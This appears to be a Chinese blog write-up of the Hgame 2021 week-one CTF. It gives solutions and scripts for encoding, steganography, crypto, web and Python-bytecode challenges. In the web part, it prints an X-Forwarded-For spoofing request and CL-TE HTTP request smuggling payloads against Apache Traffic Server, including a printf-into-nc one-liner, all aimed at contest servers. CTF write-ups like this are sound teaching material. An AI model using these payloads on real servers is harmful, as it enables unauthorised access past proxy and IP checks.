引言
一年一度,由杭州电子科技大学 Vidar Team 举办的 Hgame 又来了!
今年和往年一样,持续四周,是招新赛,不过感觉今年人更多了。
题目倒挺有趣味也有梯度的,正好就来看看了。
这篇就是第一周的 WriteUp 啦。
其实去年也来了,但貌似看了第一周后面就没怎么看,或者没写 WriteUp了
想回顾可以移步 CTF | Hgame2020 Week1 WriteUp.
(说好的 未完待续,果然咕掉了。
后面几周可能也不一定有空来看题了,不知道能坚持几周了 233
Misc
Base全家福
新年即将来临之际,Base家族也团聚了,他们用他们特有的打招呼方式向你问了个好,你知道他们在说什么吗?
R1k0RE1OWldHRTNFSU5SVkc1QkRLTlpXR1VaVENOUlRHTVlETVJCV0dVMlVNTlpVR01ZREtSUlVIQTJET01aVUdSQ0RHTVpWSVlaVEVNWlFHTVpER01KWElRPT09PT09
老套路了。
Base64 => Base32 => Base16/Hex
hgame{We1c0me_t0_HG4M3_2021}
不起眼压缩包的养成的方法
0x4qE给了张图给我,说这图暗藏玄机,你能帮我找出来吗?
提取拼接的压缩包,备注提示
Password is picture ID (Up to 8 digits)
盲猜是 P站某张图片的ID,不过这里懒了,直接爆破好了。
得到密码为 70415155
解压得到 NO PASSWORD.txt
Sometimes we don't need to care about password.
Because it's too strong or null. XD
By the way, I only use storage.
以及一个 plain.zip
明文攻击啦。
注意要先把 NO PASSWORD.txt
打包成压缩包,但是不压缩。
C8uvP$DP
得到 flag.zip
,伪加密。
其实不改也行,没加密的情况下文件名后面这段就是明文的。
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}
HTML 实体
hgame{2IP_is_Usefu1_and_Me9umi_i5_W0r1d}
Galaxy
下载下来流量包,提取下得到一张图。
(噢,出题人在百度搜图啊
没看到有拼接隐写,但是经典套路,改高度就好了。
hgame{Wh4t_A_W0nderfu1_Wa11paper}
Word RE:MASTER
草,这张图有毒……
first.docx
藏了一个 password.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<password>+++++ +++[- >++++ ++++< ]>+++ +.<++ +[->+ ++<]> ++.<+ ++[-> +++<] >+.<+ ++[-> ---<] >-.++ ++++. <+++[ ->--- <]>-. +++.+ .++++ ++++. <+++[ ->--- <]>-- ----. +.--- --..+ .++++ +++++ .<+++ [->-- -<]>- ----- .<</password>
Brainfuck 跑一跑
(这个工具 可视化挺好的
DOYOUKNOWHIDDEN?
拿去开 maimai.docx
里面有张图片
噢不对,下面还有隐藏文字。
这首歌叫 好き!雪!本気マジック(卧槽!下雪了!牛逼啊)
(当然评论也没啥东西
Tab 和 空格 交错的,是下面这一段,盲猜是零宽字符隐写,但不是零宽字符。
试着把 tab 当作1,空格当作0
s = """..."""
print(len(s))
x = ''
for i in s:
if i == '\x09':
# Tab
x += '0'
elif i == '\x20':
# Space
x += '1'
print(x)
# 0101101111111011011111011111011101110110111101111011110111011111110110
print(x[::-1])
# 0110111111101110111101111011110110111011101111101111101101111111011010
再转 ASCII,发现明显不对。
然后再看图,下雪了,查一下,发现果然有种空白字符的隐写方式 叫 SNOW。
先是看到了 雪-空白隐写术(2013) 这篇介绍。
然后找到官网 The SNOW Home Page
Whitespace steganography
The program SNOW is used to conceal messages in ASCII text by appending whitespace to the end of lines. Because spaces and tabs are generally not visible in text viewers, the message is effectively hidden from casual observers. And if the built-in encryption is used, the message cannot be read even if it is detected.
这个加密 2013 年基于 Apache 2.0 协议可用
看了看文档,巨古老(
$ SNOW.exe -C text.txt
hgame{Cha11en9e_Whit3_P4ND0R4_P4R4D0XXX}
Extensive Reading:
BTW,零宽字符隐写的
Ga1@xy 师傅的 浅谈基于零宽度字符的隐写方式
Some online tools:
Web
Hitchhiking_in_the_Galaxy
第一次在银河系里搭顺风车,要准备啥,在线等,挺急的
访问提示
搭个顺风车,访问 /HitchhikerGuide.php
,发现302到主页 index.php
了。
改成 POST。
然后一系列的套路啦。
只有使用”无限非概率引擎”(Infinite Improbability Drive)才能访问这里~
flag仅能通过本地访问获得
最后的 payload 如下。
POST /HitchhikerGuide.php HTTP/1.1
Host: 5f517db502.hitchhiker42.0727.site:42420
User-Agent: Infinite Improbability Drive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://cardinal.ink/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Origin: http://5f517db502.hitchhiker42.0727.site:42420
Content-Length: 0
X-Forwarded-For: 127.0.0.1
hgame{s3Cret_0f_HitCHhiking_in_the_GAl@xy_i5_dOnT_p@nic!}
watermelon
http://watermelon.ryen.xyz:800/
噢,合成大西瓜啊,其实先是玩了挺久甚至有点上瘾(大雾
看到失败了会提示 “达到两千分就可以得到flag”。
下面开始解题,看了看 network,巨多文件,不过有用的并不多,大部分是图片音频什么的。
先全局搜了一下,没找到 flag
,hgame
也没有。
关键的部分包括 index.html
、配置 settings.js
、 project.js
、还有广告 (他注释掉了ads.js
随意看了一下发现打包的有点好,手解不方便,console 调试也比较麻烦。
心想着出题人应该是直接魔改的源码,然后去找源码了。
在 GitHub 上找到了 原版和魔改版的源码 repo https://github.com/xiaopengand/daxigua
再比对一下,找到了可以的部分了。
其实全局搜 gameover
也能找到,233.
hgame{do_you_know_cocos_game?}
其实直接 base64 解密一下也行。
(噢,cocos 游戏引擎啊
智商检测鸡
又有谁不爱高数呢?反正我不爱(请使用firefox浏览器打开题目)
又是 积分高数题啊,想起了 USTC Hackergame 那道 超基础的数理模拟器……
不过这个简单,积分式全部为ax+b的形式,直接匹配直接算就好了,都不需要和 Mathematica 联动。
相关的 API 在 http://r4u.top:5000/static/js/fuckmath.js
function getStatus(){
$.ajax({
type:"GET",
url: "/api/getStatus",
dataType:"json",
success:function(data){
let solving = data['solving']
$("#status").text(solving);
if(solving === 100)
getFlag();
}
});
}
function getQuestion(){
$.ajax({
type: "GET",
url: "/api/getQuestion",
dataType: "json",
xhrFields: {
withCredentials: true
},
crossDomain: true,
success:function(data){
$('#integral').html(data['question']);
}
});
}
function getFlag(){
$.ajax({
type: "GET",
url: "/api/getFlag",
dataType: "json",
success:function(data){
$('#flag').html(data['flag']);
}
});
}
function init(){
getQuestion();
getStatus();
}
function submit(){
$.ajax({
type: "POST",
url: "/api/verify",
data: JSON.stringify({answer:parseFloat($('#answer').val())}),
dataType: "json",
contentType: "application/json;charset=utf-8",
xhrFields: {
withCredentials: true
},
crossDomain: true,
success: function(data) {
console.log(data);
if (data['result'] === true) {
init();
$('#alert').html(`
<div class="alert alert-success">\n
<strong>Right!</strong>\n
</div>`)
} else {
$('#alert').html(`
<div class="alert alert-danger">\n
<strong>Wrong!</strong>\n
</div>`)
}
}
});
}
返回的公式格式为
<math>
<mrow>
<msubsup>
<mo>\u222b</mo>
<mrow>
<mo>-</mo>
<mn>92</mn>
</mrow>
<mrow>
<mn>31</mn>
</mrow>
</msubsup>
<mo>(</mo>
<mn>12</mn>
<mi>x</mi>
<mo>+</mo>
<mn>17</mn>
<mo>)</mo>
<mtext>
<mi>d</mi>
</mtext>
<mi>x</mi>
<mtd />
</mrow>
</math>
然后写脚本就好了。
# -*- coding: utf-8 -*-
"""
Hgame Week1 Web 智商检测鸡
http://r4u.top:5000/
@Author: MiaoTony
@Time: 20210201
"""
import requests
import re
from bs4 import BeautifulSoup
host = "http://r4u.top:5000"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0"
}
s = requests.Session()
s.headers = headers
def getInfo(url):
r = s.get(url)
r.encoding = 'utf-8'
return r.json()
def getStatus():
url = host + "/api/getStatus"
r = getInfo(url)
solving = r.get("solving")
print("---", solving, "---")
return solving
def getFlag():
url = host + "/api/getFlag"
r = getInfo(url)
print("====>", r)
def getQuestion():
url = host + "/api/getQuestion"
r = getInfo(url)
question = r.get("question")
print("====>", question)
return question
def submit(answer):
url = host + "/api/verify"
payload = {'answer': answer}
r = s.post(url, json=payload).json()
result = r.get("result")
print("<====", result)
def solve(q):
soup = BeautifulSoup(q, 'lxml')
sub, sup = list(map(lambda x: int(x.text), soup.select('msubsup > mrow')))
f = soup.select('math > mrow')[0].text
x = re.findall(r'\((-?\d+)x\+(\d+)\)', f)[0]
a, b = [int(i) for i in x]
# a/2 x**2 + b x
answer = a/2*(sup**2-sub**2) + b*(sup-sub)
answer = round(answer, 2)
print(answer)
submit(answer)
def main():
status = 0
while status < 100:
q = getQuestion()
solve(q)
status = getStatus()
print()
if status == 100:
getFlag()
if __name__ == "__main__":
main()
然后就是愉快的解题环节,最后拿到 flag。
hgame{3very0ne_H4tes_Math}
宝藏走私者
hint: 注意留意服务器信息
资料:https://paper.seebug.org/1048/
宝藏走私者 Switch 喜欢偷盗并将奇特的宝藏走私到一些黑市商家手中。
为了阻止其继续作恶,警探 Liki 奉命将 Switch 抓捕归案。
调查过程中,Liki 发现 Switch 将一个秘密藏在了一个私人服务器中。
这或许会成为后续追查 Switch 的重大线索,你能找到这个秘密吗?Challenge Address: http://thief.0727.site:80
HTTP 走私,第一次听说这个概念喵。
Apache Traffic Server
看一下服务器,ATS/7.1.2,在漏洞的版本范围内,还正好和文中的一样。
直接访问 /secret
会提示 Client-IP NOT FOUND IN HEADERS!
。
估计就是 ATS 传到后面的 Nginx 的时候,没有带上 Client-IP
,但是如果手动给定 Client-IP
则会返回真实的 IP 而不是自己设置的。
参考 https://paper.seebug.org/1048/#433,这个第三个补丁。
https://github.com/apache/trafficserver/pull/3231 # 3231 验证请求中的Content-Length头
试了试 CL-TE
走私攻击。
夹带请求一下 /
看看,果然能够返回主页。
然后带上攻击的 Client-IP
试试,拿到 flag。
payload:
GET /secret HTTP/1.1
Host: police.liki.link
Content-Length: 49
Transfer-Encoding: chunked
0
GET /secret HTTP/1.1
Client-IP: 127.0.0.1
就是说当 ATS 把这一个 GET 请求交给 Nginx 的时候,后面的 Nginx 认为这是两个 GET 请求,于是当
GET /secret HTTP/1.1
Client-IP: 127.0.0.1
这一部分到 Nginx 的时候,就能伪造本地了。
hgame{HtTp+sMUg9l1nG^i5~r3al1y-d4nG3r0Us!}
走私者的愤怒
本题为宝藏走私者的更改版本,考点相同,请先做出宝藏走私者
Liki 日记:
2020年2月2日:
今天警局寄来一封信,是走私者 Switch 寄来的,信里只有一句话
“我最讨厌顺风车,我将带来我的愤怒”
真是让人摸不着头脑……
我看不懂,但我大受震撼。Challenge Address: http://police.liki.link
和上面那题不同,这个直接访问就给出了 Client-IP
。
但是 payload 其实是一样的。
不过在 Burp Suite 不一定能出来,他基本上是只显示了第一个返回的 response,emmm 感觉是 burp 设计上的问题。
但是直接在 nc 里执行就好了啦。
printf 'GET /secret HTTP/1.1\r\n''Host: police.liki.link\r\n''Content-Length: 49\r\n''Transfer-Encoding: chunked\r\n''\r\n''0\r\n''\r\n''GET /secret HTTP/1.1\r\n''Host: police.liki.link\r\n''Client-IP: 127.0.0.1\r\n''\r\n'| nc 42.193.143.243 80
很明显能看到返回了两个响应,多发几次就能在第二个返回里看到 flag 了。
hgame{Fe3l^tHe~4N9eR+oF_5mu9gl3r!!}
看了官方 WP,原来这题中间多套了一层 Nginx,架构是 ATS -> Nginx -> LNMP,而前面那题是 ATS -> LNMP。
Crypto
まひと
hint: flag的格式为hgame{xxx}(重要)
大家好,我叫真人,来自咒术回战,你也可以叫我,缝合怪!!
---../-..../-..-./.----/-----/----./-..-./.----/-----/---../-..-./.----/.----/-----/-..-./----./-----/-..-./---../--.../-..-./...../...--/-..-./.----/-----/---../-..-./----./----./-..-./.----/-----/----./-..-./---../...../-..-./.----/.----/-..../-..-./---../....-/-..-./--.../.----/-..-./.----/-----/---../-..-./.----/.----/....-/-..-./----./--.../-..-./---../....-/-..-./.----/.----/..---/-..-./...../--.../-..-./---../-..../-..-./.----/-----/----./-..-./.----/.----/-..../-..-./.----/.----/-..../-..-./.----/-----/-----/-..-./.----/-----/--.../-..-./.----/.----/..---/-..-./.----/-----/...../-..-./--.../...--/-..-./---../....-/-..-./--.../-----/-..-./---../----./-..-./.----/-----/-----/-..-./-..../----./-..-./--.../-----/-..-./...../..---/-..-./----./-----/-..-./---../...--/-..-./--.../-----/-..-./.----/.----/.----/-..-./----./----./-..-./-..../----./-..-./....-/---../-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./....-/---../-..-./....-/---../-..-./.----/.----/....-/-..-./--.../----./-..-./---../---../-..-./.----/-----/....-/-..-./.----/..---/-----/-..-./.----/-----/.----/-..-./.----/.----/-----/-..-./--.../....-/-..-./---../...../-..-./---../....-/-..-./---../-..../-..-./...../--.../-..-./--.../----./-..-./----./--.../-..-./.----/.----/-----/-..-./...../...--/-..-./.----/-----/-..../-..-./---../...../-..-./.----/-----/----./-..-./----./----./-..-./....-/---../-..-./.----/-----/.----/-..-./-..../...../-..-./-..../.----/-..-./-..../.----
Morse code
86/109/108/110/90/87/53/108/99/109/85/116/84/71/108/114/97/84/112/57/86/109/116/116/100/107/112/105/73/84/70/89/100/69/70/52/90/83/70/111/99/69/48/120/101/48/48/114/79/88/104/120/101/110/74/85/84/86/57/79/97/110/53/106/85/109/99/48/101/65/61/61
然后 chr,base64
import base64
s = "86/109/108/110/90/87/53/108/99/109/85/116/84/71/108/114/97/84/112/57/86/109/116/116/100/107/112/105/73/84/70/89/100/69/70/52/90/83/70/111/99/69/48/120/101/48/48/114/79/88/104/120/101/110/74/85/84/86/57/79/97/110/53/106/85/109/99/48/101/65/61/61"
l = s.split('/')
r = ''
for i in l:
x = chr(int(i))
print(x)
r += x
print(r)
# VmlnZW5lcmUtTGlraTp9VmttdkpiITFYdEF4ZSFocE0xe00rOXhxenJUTV9Oan5jUmc0eA==
r2 = base64.b64decode(r)
print(r2)
# b'Vigenere-Liki:}VkmvJb!1XtAxe!hpM1{M+9xqzrTM_Nj~cRg4x'
Vigenere 解密得到
}KccnYt!1NlPpu!zeE1{C+9pfrhLB_Fz~uGy4n
看上去像是逆序了的
n4yGu~zF_BLhrfp9+C{1Eez!upPlN1!tYnccK}
看样子又不像。里面都没有 hgame
,又试了试栅栏,这不对劲啊。
看了官方 WP 后,这6个栅栏就离谱!
太奇怪了!!!
}KccnYt
!1NlPpu
!zeE1{
C+9pfr
hLB_Fz
~uGy4n
=====>
}!!Ch~K1z+LucNe9BGclEp_ynP1fF4Yp{rzntu
然后逆序
utnzr{pY4Ff1Pny_pElcGB9eNcuL+z1K~hC!!}
凯撒 / ROT13
hgame{cL4Ss1Cal_cRypTO9rAphY+m1X~uP!!}
对称之美
美术大师 Liki 总说,对称是世界上最美的结构…
源码:
import random
import string
import itertools
from secret import FLAG
key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
cipher = bytes([ord(m)^ord(k) for m, k in zip(FLAG, itertools.cycle(key))])
print(cipher)
#cipher=b'>\tA+/\x01@"\x08T\x1a\x1a\x17\x05\x07\x11\x143Kf5\x0cQ>Q\x00\x1b\x11\x17\x01\x19\x00Y?V21D[6Q~\x12TG\x05\x1c\x0b@3V!b\x0bFp\x15\x06\x12\x03^\n\x12EV;T\',\x07Qp\x14\x15\x10\x1c\x17\x0b\x01\rQ(\x18L-\x11@~Q \x1b\x1dDD\x16\nA6\\f \x01\x14$\x19\x11S\x1bU\x0e\x10\x06@)\x182*\x01Y#\x14\x18\x05\x11DHUoV/Lf+\x10\x143\x10\x1aS\x15[\x17\x1aEF?T\'6\x01\x14$\x1eT\x10\x1b[\x0b\x07\x16\x14;V"bn[$\x19\x11\x01TT\x0b\x18\x15[)Q2+\x0bZ1\x1dT\x07\x11T\x0c\x1b\x0cE/]5lnm?\x04T\x1e\x15ND\x1b\n@zJ##\x08]*\x14T\x1a\x00\x1bD\x17\x10@zA)7\x16\x142\x03\x15\x1a\x1a\x17n\x1c\x16\x148M5;DC?\x03\x1f\x1a\x1aPD\x17\x00\\3V"b\x10\\5Q\x07\x10\x11Y\x01\x06E@5\x185\'\x01_p{\x1b\x06\x00\x17\x17\x0c\x08Y?L4;DC8\x14\x1aS\rX\x11U\t[5Sf#\x10\x141Q\x04\x12\x1dY\x10\x1c\x0bSt\x18L\x16\x0cQ"\x14T\x12\x06RD\x06\x00B?J\'.DF5\x10\x07\x1c\x1aDD\x13\nFzL.+\x17\x1ap%\x1c\x16T=\x02\x1c\x17G.\x18/1D@8\x10\x00S\x03RC\x07\x00\x142Y4&IC9\x03\x11\x17TC\x0bU\t[5Sf$\x0bFp{\x1d\x07Z\x17+\x00\x17\x14;V%+\x01Z$Q\x15\x1d\x17R\x17\x01\nF)\x18+#\x1d\x14>\x1e\x00S\x1cV\x12\x10E\\;\\fH\x05\x14>\x10\x19\x16TQ\x0b\x07E].\x14f \x11@p\x05\x1c\x16\r\x17\x0f\x1b\x00CzL.#\x10\x14$\x19\x11\x1a\x06\x17n\x1a\x12ZzZ)&\rQ#Q\x03\x16\x06RD\x17\x04G3[\'.\x08Mp\x02\r\x1e\x19R\x10\x07\x0cW;Tjb\x05Gp{\x03\x16\x06RD\x01\r[)]f-\x02\x14 \x1e\x00\x16\x1aC\r\x14\t\x14*J#&\x05@?\x03\x07S\x1bED\x05\x17Q#\x16fH0\\5\x03\x11\x15\x1bE\x01YE@2Q5b\x07U=\x14T\x1a\x1a\x17\x0c\x14\x0bP#\x181*\x01@8\x14\x06S~T\x0c\x1a\nG3V!b\x05\x14=\x10\x00\x16X\x17\x07\x14\x11W2Q(%DP9\x1f\x1a\x16\x06\x17\x0b\x07E>;N)+\x00]>\x16T\x11\x11^\n\x12E[4\x182*\x01\x14=\x14\x1a\x06TX\x02U\x04\x14)V\'0\x08]>\x16XS~_\x11\x1b\x02F#\x186#\x07_p\x1e\x12S\x03X\x08\x03\x00GzW4b\x06Q1\x03\x07R~c\x05\x1e\x00\x14;\x18*-\x0b_p\x10\x00S\rX\x11\x07ER;[#b\rZp\x05\x1c\x16TZ\r\x07\x17[(\x18L#\nPp\x18\x19\x12\x13^\n\x10EUzT/,\x01\x14#\x05\x06\x12\x1dP\x0c\x01EP5O(b\x10\\5Q~\x1e\x1dS\x00\x19\x00\x1aza)7CX<Q\x07\x16\x11\x17\x06\x1a\x11\\zK/&\x01Gp\x1e\x12S\rX\x11\x07E><Y%\'DU"\x14T\x03\x06R\x10\x01\x1c\x14)A+/\x01@"\x18\x17\x12\x18\x19D!\r])\x18/1D>;\x1f\x1b\x04\x1a\x17\x05\x06EV3T\'6\x01F1\x1dT\x00\rZ\t\x10\x11F#\x18\',\x00\x149\x05S\x00T=\x13\x1d\x00F?\x18$-\x10\\p\x02\x1d\x17\x11DD\x10\x0c@2]4b\x17]4\x14T\x1c\x12\x17\x10\x1d\x0cGz2"+\x12]4\x18\x1a\x14T[\r\x1b\x00\x14;H6\'\x05Fp\x1c\x1b\x01\x11\x17\x0b\x07EX?K5b\x10\\5Q\x07\x12\x19RJ\x7f6[zP#0\x01\x149\x02T\x07\x1cRD\x13\tU=\x02fH\x0cS1\x1c\x11\x08,\x07\x16*\x0c\x01wY\x1977\x076$EX@Y\x00Q\x03a\x14V?\x1d\'\x05 9G\x01\t='
利用 xortool,可以帮助得到这个加密使用的 key。
xortool.py
xortool A tool to do some xor analysis: - guess the key length (based on count of equal chars) - guess the key (base on knowledge of most frequent char) Usage: xortool [-x] [-m MAX-LEN] [-f] [-t CHARSET] [FILE] xortool [-x] [-l LEN] [-c CHAR | -b | -o] [-f] [-t CHARSET] [-p PLAIN] [FILE] xortool [-x] [-m MAX-LEN| -l LEN] [-c CHAR | -b | -o] [-f] [-t CHARSET] [-p PLAIN] [FILE] xortool [-h | --help] xortool --version Options: -x --hex input is hex-encoded str -l LEN, --key-length=LEN length of the key -m MAX-LEN, --max-keylen=MAX-LEN maximum key length to probe [default: 65] -c CHAR, --char=CHAR most frequent char (one char or hex code) -b --brute-chars brute force all possible most frequent chars -o --brute-printable same as -b but will only check printable chars -f --filter-output filter outputs based on the charset -t CHARSET --text-charset=CHARSET target text character set [default: printable] -p PLAIN --known-plaintext=PLAIN use known plaintext for decoding -h --help show this help
由于它的 FILE 输入需要的是 binary 或者 hex 或者 plain text,而这里的 cipher 是 Python 里的字符串,所以先转换成 hex。
cipher = 'xxxxxx'
print(cipher.hex())
然后把这个 hex 保存到文件,比如 cipher.txt
.
试了一下,指定 -l 16
倒没作用,-p "hgame{"
甚至会报错。最后还是用下面这个好了。
$ xortool -x -c 20 cipher.txt
The most probable key lengths:
2: 10.3%
4: 10.9%
6: 9.3%
8: 15.0%
10: 7.7%
12: 8.5%
14: 7.4%
16: 15.5%
32: 7.8%
Key-length can be 4*n
2 possible key(s) of length 16:
4Z8FB!4Pqtst7d'e
4Z8FB!4P4tst7d'e
Found 2 plaintexts with 95%+ valid characters
See files filename-key.csv, filename-char_used-perc_valid.csv
看一看输出的文件,已经很有味道了,flag 都很明显了。
根据出来的 key 4Z8FB!4Pqtst7d'e
,有两个不在 string.ascii_letters + string.digits
范围内的字符,于是考虑爆破一下找真正的 key。
import string
keys = string.ascii_letters + string.digits
cipher = 'xxxxxxxx'
# 4Z8FB!4Pqtst7d'e
for i in keys:
key = "4Z8FB" + i + "4Pqtst7due"
r = ''
for idx, value in enumerate(cipher):
x = chr(value ^ ord(key[idx % 16]))
r += x
print('====' + i + '====')
# print(r)
if 'hgame' in r:
print(r)
两个位置都试一试,最后看哪个最合理。
最后得出是 4Z8FBd4Pqtst7due
Symmetry in art is when the elements of
a painting or drawing balance each other
out. This could be the objects themselves,
but it can also relate to colors and
other compositional techniques.
You may not realize it, but your brain
is busy working behind the scenes to seek
out symmetry when you look at a painting.
There are several reasons for this. The
first is that we're hard-wired to look for
it. Our ancient ancestors may not have had
a name for it, but they knew that their
own bodies were basically symmetrical, as
were those of potential predators or prey.
Therefore, this came in handy whether
choosing a mate, catching dinner or
avoiding being on the menu of a snarling,
hungry pack of wolves or bears!
Take a look at your face in the mirror
and imagine a line straight down the
middle. You'll see both sides of your
face are pretty symmetrical. This is
known as bilateral symmetry and it's
where both sides either side of this
dividing line appear more or less the same.
So here is the flag:
hgame{X0r_i5-a_uS3fU1+4nd$fUNny_C1pH3r}
然后发现这个居然真的有原文,就是 对称之美(Symmetry in Art),详见
Transformer
所有人都已做好准备,月黑之时即将来临,为了击毁最后的主控能量柱,打开通往芝加哥的升降桥迫在眉睫 看守升降桥的控制员已经失踪,唯有在控制台的小房间留下来的小纸条,似乎是控制员防止自己老了把密码忘记而写下的,但似乎都是奇怪的字母组合,唯一有价值的线索是垃圾桶里的两堆被碎纸机粉碎的碎纸,随便查看几张,似乎是两份文件,并且其中一份和小纸条上的字母规律有点相像 附件md5:0340142700c8f63546368fa14fd6fb24
Transformer.txt
:
Tqh ufso mnfcyh eaikauh kdkoht qpk aiud zkhc xpkkranc uayfi kfieh 2003, oqh xpkkranc fk "qypth{hp5d_s0n_szi^3ic&qh11a_}",Dai'o sanyho oa pcc oqh dhpn po oqh hic.
很明显这个就是密文了,flag 就藏在这个里面了。
然后给了 ori 和 enc,原文和密文,随意看了一下还打乱顺序了,坏耶。
不过问题不大,发现是对称加密,而且只是小写字母进行了对换,其他字符都不变。
那直接找足够多的样本,得到映射关系就完事了。
payload 有点乱,大概思路首先是找几个样本,然后根据样本得到匹配对 pair,最后解密。
import os
import string
os.chdir(os.path.dirname(os.path.realpath(__file__)))
# base_dir = "enc/"
base_dir = "ori/"
filenames = os.listdir(base_dir)
for filename in filenames:
with open(base_dir + filename, 'r', encoding='utf-8') as f:
content = f.read()
# if "’" in content:
# if 'b' in content and 'l' in content:
if content[5] == ' ':
print(filename)
print(content)
print('=====')
ori1 = """hat you want but it will be “correct”.
anotrogram correctness” and many gstance. rust offers a form of “p
me; we don’t have to worry about the
from runtime checking of constraints and invariants;
mpile times to be pretty beefy; our cpus a
memory safety; it definitely excites us kno
duction for the last few years and we’ve
if you’re new to rust, start small and build
started this project. we’ve bee
ntial localization implementation to meet the require
"""
enc1 = """qpo daz rpio mzo fo rfuu mh “eannheo”.
piaonaynpt eannheoihkk” pic tpid ykopieh. nzko asshnk p sant as “x
th; rh cai’o qpvh oa rannd pmazo oqh
snat nziofth eqhejfiy as eaikonpfiok pic fivpnfpiok;
txfuh ofthk oa mh xnhood mhhsd; azn exzk p
thtand kpshod; fo chsfifohud hgefohk zk jia
czeofai san oqh upko shr dhpnk pic rh’vh
fs daz’nh ihr oa nzko, kopno ktpuu pic mzfuc
kopnohc oqfk xnawheo. rh’vh mhh
iofpu uaepufbpofai ftxuhthiopofai oa thho oqh nhlzfnh
"""
pair = {}
for idx, value in enumerate(enc1):
pair[value] = ori1[idx]
print(pair)
# {'q': 'h', 'p': 'a', 'o': 't', ' ': ' ', 'd': 'y', 'a': 'o', 'z': 'u', 'r': 'w', 'i': 'n', 'm': 'b', 'f': 'i', 'u': 'l', 'h': 'e', '“': '“', 'e': 'c', 'n': 'r', '”': '”', '.': '.', '\n': '\n', 'y': 'g', 't': 'm', 'k': 's', 'c': 'd', 's': 'f', 'x': 'p', ';': ';', '’': '’', 'v': 'v', 'j': 'k', 'g': 'x', ',': ',', 'w': 'j', 'b': 'z', 'l': 'q'}
s="""Tqh ufso mnfcyh eaikauh kdkoht qpk aiud zkhc xpkkranc uayfi kfieh 2003, oqh xpkkranc fk "qypth{hp5d_s0n_szi^3ic&qh11a_}",Dai'o sanyho oa pcc oqh dhpn po oqh hic."""
r = ''
for i in s:
if i in string.ascii_lowercase:
r += pair[i]
else:
r += i
# print(r)
print(r)
# The lift bridge console system has only used password login since 2003, the password is "hgame{ea5y_f0r_fun^3nd&he11o_}",Don't forget to add the year at the end.
最后再加上年份
hgame{ea5y_f0r_fun^3nd&he11o_2021}
Reverse
pypy
给了 dis.dis human readable 的字节码,直接逆向一下就完事了。
4 0 LOAD_GLOBAL 0 (input)
2 LOAD_CONST 1 ('give me your flag:\n')
4 CALL_FUNCTION 1
6 STORE_FAST 0 (raw_flag)
5 8 LOAD_GLOBAL 1 (list)
10 LOAD_FAST 0 (raw_flag)
12 LOAD_CONST 2 (6)
14 LOAD_CONST 3 (-1)
16 BUILD_SLICE 2
18 BINARY_SUBSCR
20 CALL_FUNCTION 1
22 STORE_FAST 1 (cipher)
6 24 LOAD_GLOBAL 2 (len)
26 LOAD_FAST 1 (cipher)
28 CALL_FUNCTION 1
30 STORE_FAST 2 (length)
8 32 LOAD_GLOBAL 3 (range)
34 LOAD_FAST 2 (length)
36 LOAD_CONST 4 (2)
38 BINARY_FLOOR_DIVIDE
40 CALL_FUNCTION 1
42 GET_ITER
>> 44 FOR_ITER 54 (to 100)
46 STORE_FAST 3 (i)
9 48 LOAD_FAST 1 (cipher)
50 LOAD_CONST 4 (2)
52 LOAD_FAST 3 (i)
54 BINARY_MULTIPLY
56 LOAD_CONST 5 (1)
58 BINARY_ADD
60 BINARY_SUBSCR
62 LOAD_FAST 1 (cipher)
64 LOAD_CONST 4 (2)
66 LOAD_FAST 3 (i)
68 BINARY_MULTIPLY
70 BINARY_SUBSCR
72 ROT_TWO
74 LOAD_FAST 1 (cipher)
76 LOAD_CONST 4 (2)
78 LOAD_FAST 3 (i)
80 BINARY_MULTIPLY
82 STORE_SUBSCR
84 LOAD_FAST 1 (cipher)
86 LOAD_CONST 4 (2)
88 LOAD_FAST 3 (i)
90 BINARY_MULTIPLY
92 LOAD_CONST 5 (1)
94 BINARY_ADD
96 STORE_SUBSCR
98 JUMP_ABSOLUTE 44
12 >> 100 BUILD_LIST 0
102 STORE_FAST 4 (res)
13 104 LOAD_GLOBAL 3 (range)
106 LOAD_FAST 2 (length)
108 CALL_FUNCTION 1
110 GET_ITER
>> 112 FOR_ITER 26 (to 140)
114 STORE_FAST 3 (i)
14 116 LOAD_FAST 4 (res)
118 LOAD_METHOD 4 (append)
120 LOAD_GLOBAL 5 (ord)
122 LOAD_FAST 1 (cipher)
124 LOAD_FAST 3 (i)
126 BINARY_SUBSCR
128 CALL_FUNCTION 1
130 LOAD_FAST 3 (i)
132 BINARY_XOR
134 CALL_METHOD 1
136 POP_TOP
138 JUMP_ABSOLUTE 112
15 >> 140 LOAD_GLOBAL 6 (bytes)
142 LOAD_FAST 4 (res)
144 CALL_FUNCTION 1
146 LOAD_METHOD 7 (hex)
148 CALL_METHOD 0
150 STORE_FAST 4 (res)
16 152 LOAD_GLOBAL 8 (print)
154 LOAD_CONST 6 ('your flag: ')
156 LOAD_FAST 4 (res)
158 BINARY_ADD
160 CALL_FUNCTION 1
162 POP_TOP
164 LOAD_CONST 0 (None)
166 RETURN_VALUE
# your flag: 30466633346f59213b4139794520572b45514d61583151576638643a
然后照样子写出源码。
#
# 源代码
# hgame{.+}
raw_flag = input('give me your flag:\n')
cipher = list(raw_flag[6:-1])
length = len(cipher)
for i in range(length // 2):
cipher[2*i], cipher[2 * i + 1] = cipher[2 * i + 1], cipher[2*i]
res=[]
for i in range(length):
res.append(ord(cipher[i]) ^ i)
res = bytes(res).hex()
print('your flag: ' + res)
# your flag: 30466633346f59213b4139794520572b45514d61583151576638643a
好耶,直接就是奇偶位交换,然后异或一下,那直接反过来就完事了。
exp:
# decode
res = '30466633346f59213b4139794520572b45514d61583151576638643a'
x = bytes.fromhex(res)
length = len(x)
cipher = []
for i in range(length):
cipher.append(chr(x[i] ^ i))
for i in range(length // 2):
cipher[2*i], cipher[2 * i + 1] = cipher[2 * i + 1], cipher[2*i]
print(cipher)
flag = ''.join(cipher)
print(flag)
# G00dj0&_H3r3-I$Y@Ur_$L@G!~!~
hgame{G00dj0&_H3r3-I$Y@Ur_$L@G!~!~}
Extensive Reading:
helloRe
关键的部分在下图的第39行。
